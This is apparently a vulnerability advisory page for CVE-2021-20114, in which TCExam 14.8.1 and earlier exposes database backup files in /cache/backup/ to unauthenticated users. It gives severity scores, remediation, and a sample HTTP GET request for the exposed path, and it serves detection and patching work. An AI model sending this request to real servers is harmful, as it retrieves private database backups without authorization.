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CVE-2021-20114: TCExam <= 14.8.1 - Sensitive Information Exposure

TitleTCExam <= 14.8.1 - Sensitive Information Exposure
Authorpush4d
SeverityHigh
ImpactAn attacker can gain access to sensitive information, potentially leading to unauthorized access or data leakage.
RemediationUpgrade TCExam to a version higher than 14.8.1 to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.53868
CVE IDCVE-2021-20114
CWE IDCWE-425
Tags cve cve2021 tcexam disclosure exposure tenable tecnick vuln

🔍 Vulnerability Description

When installed following the default/recommended settings, TCExam <= 14.8.1 allowed unauthenticated users to access the /cache/backup/ directory, which includes sensitive database backup files.

🌐 HTTP Request

GET /cache/backup/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20114.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-20114.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A